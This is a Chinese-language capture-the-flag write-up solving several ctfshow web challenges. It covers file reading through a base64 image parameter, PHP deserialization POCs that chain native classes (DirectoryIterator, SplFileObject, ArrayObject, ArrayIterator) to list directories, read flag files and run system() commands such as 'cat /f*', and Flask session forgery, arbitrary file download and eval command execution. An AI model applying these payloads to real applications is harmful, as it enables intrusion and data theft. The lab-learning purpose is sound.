easy_signin

题目

image-20230404104706716

一个表情包,然后url后面还跟着一段base64编码的内容,解码后查看时face.png,所以感觉这里存在文件包含或者文件查询

然后就去查询index.php,然后就查看源码发现了一段base64编码的内容,然后拿去解码

解码后的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-03-27 10:30:30
# @Last Modified by: h1xa
# @Last Modified time: 2023-03-28 12:15:33
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

$image=$_GET['img'];

$flag = "ctfshow{3ae89687-0319-4fdd-8d58-4910ede71b51}";
if(isset($image)){
$image = base64_decode($image);
$data = base64_encode(file_get_contents($image));
echo "<img src='data:image/png;base64,$data'/>";
}else{
$image = base64_encode("face.png");
header("location:/?img=".$image);
}



被遗忘的反序列化

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php

# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");

class EeE{
public $text;
public $eeee;
public function __wakeup(){
if ($this->text == "aaaa"){
echo lcfirst($this->text);
}
}

public function __get($kk){
echo "$kk,eeeeeeeeeeeee";
}

public function __clone(){
$a = new cycycycy;
$a -> aaa();
}

}

class cycycycy{
public $a;
private $b;

public function aaa(){
$get = $_GET['get'];
$get = cipher($get);
if($get === "p8vfuv8g8v8py"){
eval($_POST["eval"]);
}
}


public function __invoke(){
$a_a = $this -> a;
echo "\$a_a\$";
}
}

class gBoBg{
public $name;
public $file;
public $coos;
private $eeee="-_-";
public function __toString(){
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;
}else if(!isset($this -> file)){
return $this->coos->name;
}else{
$aa = $this->coos;
$bb = $this->file;
return $aa();
}
}
}

class w_wuw_w{
public $aaa;
public $key;
public $file;
public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
}
}

public function __destruct(){
echo $this->aaa;
}

public function __invoke(){
$this -> aaa = clone new EeE;
}
}

$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);

这题考察的就是原生类的做法

实现了serializable接口的内置类就是c开头的

深入了解PHP反序列化原生类

web安全-PHP反序列化漏洞

image-20230404113117742

本题就是用这个内置类来解题的

首先我们看到最下面这里是$ip = $SERVER[“HTTP_AAAAAA”]; 这一句话的意思是接收header头中 aaaaaa参数的值,然后将其反序列化。 然后根据提示在根目录中有一个txt文件,但是这里我们不知道他的文件名字是什么。

image-20230404114042321

这里传aaaaa是因为这个玩意对大小写不敏感,本地测试过了

image-20230404115608848

这里的格式就是和上面的内置类是一样的,并且coosfile还可控所以这里就可以直接查上面给的txt文件

非预期

非预期wp

这里就是只用到了两个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
class gBoBg{
public $name;
public $file;
public $coos;
private $eeee="-_-";
public function __toString(){
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;
}else if(!isset($this -> file)){
return $this->coos->name;
}else{
$aa = $this->coos;
$bb = $this->file;
return $aa();
}
}
}

class w_wuw_w{
public $aaa;
public $key;
public $file;
public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
}
}

public function __destruct(){
echo $this->aaa;
}

public function __invoke(){
$this -> aaa = clone new EeE;
}
}

这里就是只用到两个类,就是一个类用获取文件名,一个用来获取flag的值

我们知道在php中支持使用$a($b)这样动态的形式调用函数/实例化,

可以看到我们这一行就是这样的形式:$a = new $this->coos($this->file);

可遍历目录类有以下几个:

1
2
3
DirectoryIterator 类
FilesystemIterator 类
GlobIterator 类

可读取文件类有:

1
SplFileObject 类

我们需要用内置类来遍历目录,然后读取文件

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class gBoBg{
public $name;
public $file;
public $coos;
// private $eeee="-_-";
}

class w_wuw_w{
public $aaa;
public $key;
public $file;
}

$w=new w_wuw_w();
$w->aaa=new gBoBg();
$w->aaa->name="1";
$w->aaa->file="/f1agaaa";
$w->aaa->coos="SplFileObject";

echo serialize($w);

分两步走,第一步,读取文件名

1
2
$w->aaa->file="glob:///*f*"; #使用glob协来查找匹配的文件路径模式 这里/*f*匹配了根目录下包含f的文件夹名
$w->aaa->coos="DirectoryIterator";

image-20230404163706592

读取到了文件名,然后我们就用另一个内置类来读取文件内容

第二步,使用SplFileObject类读取文件内容:

1
2
$w->aaa->file="/f1agaaa";
$w->aaa->coos="SplFileObject";

image-20230404163852169

最后拿到flag

easy_flask

题目

image-20230404164641841

考点

flask的session伪造 + 任意文件下载 + python命令执行

这里注册的时候尝试使用admin账户注册,然后发现了这个账户存在,然后就注册个其他账户进行登录查看

image-20230404164920975

这里的话应该要成为管理员才能进行获取flag

然后点击learn

image-20230404165019779

看到了一些代码,这里我看到給key的时候,我就想到了是不是考的是session伪造或则是python反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

# app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response


app = Flask(__name__)


app.secret_key = 'S3cr3tK3y'

users = {

}

@app.route('/')
def index():
# Check if user is loggedin
if 'loggedin' in session:
return redirect(url_for('profile'))
return redirect(url_for('login'))

@app.route('/login/', methods=['GET', 'POST'])
def login():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users and password == users[username]['password']:
session['loggedin'] = True
session['username'] = username
session['role'] = users[username]['role']
return redirect(url_for('profile'))
else:
msg = 'Incorrect username/password!'
return render_template('login.html', msg=msg)


@app.route('/register/', methods=['GET', 'POST'])
def register():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users:
msg = 'Account already exists!'
else:
users[username] = {'password': password, 'role': 'user'}
msg = 'You have successfully registered!'
return render_template('register.html', msg=msg)



@app.route('/profile/')
def profile():
if 'loggedin' in session:
return render_template('profile2.html', username=session['username'], role=session['role'])
return redirect(url_for('login'))

那么我们就去进行seesion伪造试试

image-20230404165301393

拿到session

image-20230404170039525

session伪造成功了

image-20230404170123835

然后登录管理员账户成功,接下来就是有个下载的接口

image-20230404170215806

发现是个假的flag

image-20230404170320851

发现他是这样下载文件的,,然后我们就可以尝试下载完整的源码进行查看

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
# app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response


app = Flask(__name__)


app.secret_key = 'S3cr3tK3y'

users = {
'admin': {'password': 'LKHSADSFHLA;KHLK;FSDHLK;ASFD', 'role': 'admin'}
}



@app.route('/')
def index():
# Check if user is loggedin
if 'loggedin' in session:
return redirect(url_for('profile'))
return redirect(url_for('login'))

@app.route('/login/', methods=['GET', 'POST'])
def login():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users and password == users[username]['password']:
session['loggedin'] = True
session['username'] = username
session['role'] = users[username]['role']
return redirect(url_for('profile'))
else:
msg = 'Incorrect username/password!'
return render_template('login2.html', msg=msg)


@app.route('/register/', methods=['GET', 'POST'])
def register():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users:
msg = 'Account already exists!'
else:
users[username] = {'password': password, 'role': 'user'}
msg = 'You have successfully registered!'
return render_template('register2.html', msg=msg)



@app.route('/profile/')
def profile():
if 'loggedin' in session:
return render_template('profile2.html', username=session['username'], role=session['role'])
return redirect(url_for('login'))


@app.route('/show/')
def show():
if 'loggedin' in session:
return render_template('show2.html')

@app.route('/download/')
def download():
if 'loggedin' in session:
filename = request.args.get('filename')
if 'filename' in request.args:
return send_file(filename, as_attachment=True)

return redirect(url_for('login'))


@app.route('/hello/')
def hello_world():
try:
s = request.args.get('eval')
return f"hello,{eval(s)}"
except Exception as e:
print(e)
pass

return "hello"



@app.route('/logout/')
def logout():
session.pop('loggedin', None)
session.pop('id', None)
session.pop('username', None)
session.pop('role', None)
return redirect(url_for('login'))


if __name__ == "__main__":
app.run(host='0.0.0.0', port=8080)

然后发现在hello路由那,发现有eval命令,然后就进行传值,eval为参数

然后源码里没有os库,那么我们就自己传一个os库进去

image-20230404170910299

成功拿到flag

遇到这种给key的题,一般都是考seesion伪造或则是python的pickel反序列化

暗网聊天室

题目

image-20230404173019155

公钥加密 私钥解密

easy_php

题目

别人的总结wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-03-24 10:16:33
# @Last Modified by: h1xa
# @Last Modified time: 2023-03-25 00:25:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfshow{

public function __wakeup(){
die("not allowed!");
}

public function __destruct(){
system($this->ctfshow);
}

}

$data = $_GET['1+1>2'];

if(!preg_match("/^[Oa]:[\d]+/i", $data)){
unserialize($data);
}


?>

漏洞影响版本:

PHP5 < 5.6.25

PHP7 < 7.0.10

修改属性值是这些版本才有用,这里的话是没有用的

考点:PHP7.3 __wakeup绕过,ArrayObject内置类

众所周知可以使用C进行绕过wakeup,但这样有一个缺点,就是你把O改为C后是没办法有属性的,那假如需要用属性命令执行就不行了QWQ

这种情况我们可以用内置类ArrayObject,这个内置类序列化结果如下

image-20230404175635385

这个题目很明显就是要执行system方法,然后不可以以O\a打头,假如不ban掉a的话,我们可以在a数组里面放上我们的恶意对象,也可以反序列化,但是这里都去掉了,所以回到上面说的那个ArrayObject,他是C开头的,并且可以绕过O,然后还可以带属性反序列化,符合条件,因此可以构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

class ctfshow {
public $ctfshow;

public function __wakeup(){
die("not allowed!");
}

public function __destruct(){
echo "OK";
system($this->ctfshow);
}


}
$a=new ctfshow;
$a->ctfshow="whoami";
$arr=array("evil"=>$a);
$oa=new ArrayObject($arr);
$res=serialize($oa);
echo $res;
//unserialize($res)
?>

php反序列化a开头的使用

查找脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$classes = get_declared_classes();foreach ($classes as $class) {

$methods = get_class_methods($class);

foreach ($methods as $method) {

if (in_array($method, array(

'unserialize',

))) {

print $class . '::' . $method . "\n";

}

}}

image-20230404181426665

结果如下,注意到了还有ArrayIterator,实现了unserialize接口的大概率是C打头,因此在这几个类中寻找!

测试发现ArrayIterrator是可以的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-03-24 10:16:33
# @Last Modified by: h1xa
# @Last Modified time: 2023-03-25 00:25:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

//error_reporting(0);

class ctfshow {
public $ctfshow;

public function __wakeup(){
die("not allowed!");
}

public function __destruct(){
echo "OK";
system($this->ctfshow);
}


}
$a=new ctfshow;
$a->ctfshow="cat /f*";
$arr=array("evil"=>$a);
$oa=new ArrayIterator($arr);
$res=serialize($oa);
echo $res;
//unserialize($res)
?>

image-20230404181631721

过所有测试发现可以用的类为:

  • ArrayObject::unserialize
  • ArrayIterator::unserialize
  • RecursiveArrayIterator::unserialize
  • SplObjectStorage::unserialize

其中SplObjectStorage需要注意一下:

image-20230404181727382

给加上一条就行

参考 ———> wp

easy_class

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-03-27 10:30:30
# @Last Modified by: h1xa
# @Last Modified time: 2023-03-28 09:28:35
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
namespace ctfshow;


class C{

const __REF_OFFSET_1 = 0x41;
const __REF_OFFSET_2 = 0x7b;
const __REF_OFFSET_3 = 0x5b;
const __REF_OFFSET_4 = 0x60;
const __REF_OFFSET_5 = 0x30;
const __REF_OFFSET_6 = 0x5f;

const __REF_SIZE__= 20;
const __REF_VAL_SIZE__= 50;

private $cursor=0;
private $cache;
private $ref_table=[];



function main(){
$flag = md5(file_get_contents("/flag"));
$this->define('ctfshow',self::__REF_VAL_SIZE__);
$this->define('flag',strlen($flag));
$this->neaten();
$this->fill('flag',$flag);
$this->fill('ctfshow',$_POST['data']);

if($this->read('ctfshow')===$this->read('flag')){
echo $flag;
}
}

private function fill($ref,$val){
rewind($this->cache);
fseek($this->cache, $this->ref_table[$ref]+23);


$arr = str_split($val);

foreach ($arr as $s) {
fwrite($this->cache, pack("C",ord($s)));
}

for ($i=sizeof($arr); $i < self::__REF_VAL_SIZE__; $i++) {
fwrite($this->cache, pack("C","\x00"));
}

$this->cursor= ftell($this->cache);
}

public static function clear($var){
;
}

private function neaten(){
$this->ref_table['_clear_']=$this->cursor;
$arr = str_split("_clear_");
foreach ($arr as $s) {
$this->write(ord($s),"C");
}
for ($i=sizeof($arr); $i < self::__REF_SIZE__; $i++) {
$this->write("\x00",'C');
}

$arr = str_split(__NAMESPACE__."\C::clear");
foreach ($arr as $s) {
$this->write(ord($s),"C");
}

$this->write(0x36d,'Q');
$this->write(0x30,'C');

for ($i=1; $i < self::__REF_SIZE__; $i++) {
$this->write("\x00",'C');
}


}

private function readNeaten(){
rewind($this->cache);
fseek($this->cache, $this->ref_table['_clear_']+self::__REF_SIZE__);
$f = $this->truncation(fread($this->cache, self::__REF_SIZE__-4));
$t = $this->truncation(fread($this->cache, self::__REF_SIZE__-12));
$p = $this->truncation(fread($this->cache, self::__REF_SIZE__));
call_user_func($f,$p);

}

private function define($ref,$size){

$this->checkRef($ref);
$r = str_split($ref);
$this->ref_table[$ref]=$this->cursor;
foreach ($r as $s) {
$this->write(ord($s),"C");
}
for ($i=sizeof($r); $i < self::__REF_SIZE__; $i++) {
$this->write("\x00",'C');
}


fwrite($this->cache,pack("v",$size));
fwrite($this->cache,pack("C",0x31));
$this->cursor= ftell($this->cache);

for ($i=0; $i < $size; $i++) {
$this->write("\x00",'a');
}

}

private function read($ref){

if(!array_key_exists($ref,$this->ref_table)){
throw new \Exception("Ref not exists!", 1);
}

if($this->ref_table[$ref]!=0){
$this->seekCursor($this->ref_table[$ref]);
}else{
rewind($this->cache);
}

$cref = fread($this->cache, 20);
$csize = unpack("v", fread($this->cache, 2));
$usize = fread($this->cache, 1);

$val = fread($this->cache, $csize[1]);

return $this->truncation($val);


}


private function write($val,$fmt){
$this->seek();
fwrite($this->cache,pack($fmt,$val));
$this->cursor= ftell($this->cache);
}

private function seek(){
rewind($this->cache);
fseek($this->cache, $this->cursor);
}

private function truncation($data){

return implode(array_filter(str_split($data),function($var){
return $var!=="\x00";
}));

}
private function seekCursor($cursor){
rewind($this->cache);
fseek($this->cache, $cursor);
}
private function checkRef($ref){
$r = str_split($ref);

if(sizeof($r)>self::__REF_SIZE__){
throw new \Exception("Refenerce size too long!", 1);
}

if(is_numeric($r[0]) || $this->checkByte($r[0])){
throw new \Exception("Ref invalid!", 1);
}

array_shift($r);

foreach ($r as $s) {

if($this->checkByte($s)){
throw new \Exception("Ref invalid!", 1);
}
}
}

private function checkByte($check){
if(ord($check) <=self::__REF_OFFSET_5 || ord($check) >=self::__REF_OFFSET_2 ){
return true;
}

if(ord($check) >=self::__REF_OFFSET_3 && ord($check) <= self::__REF_OFFSET_4
&& ord($check) !== self::__REF_OFFSET_6){
return true;
}

return false;

}

function __construct(){
$this->cache=fopen("php://memory","wb");
}

public function __destruct(){
$this->readNeaten();
fclose($this->cache);
}

}
highlight_file(__FILE__);
error_reporting(0);
$c = new C;

$c->main();

思路

写入post值得时候没限制长度,所以可以覆盖后面的flag和clear存储的值,然后最后读clear时候调用了call_user_func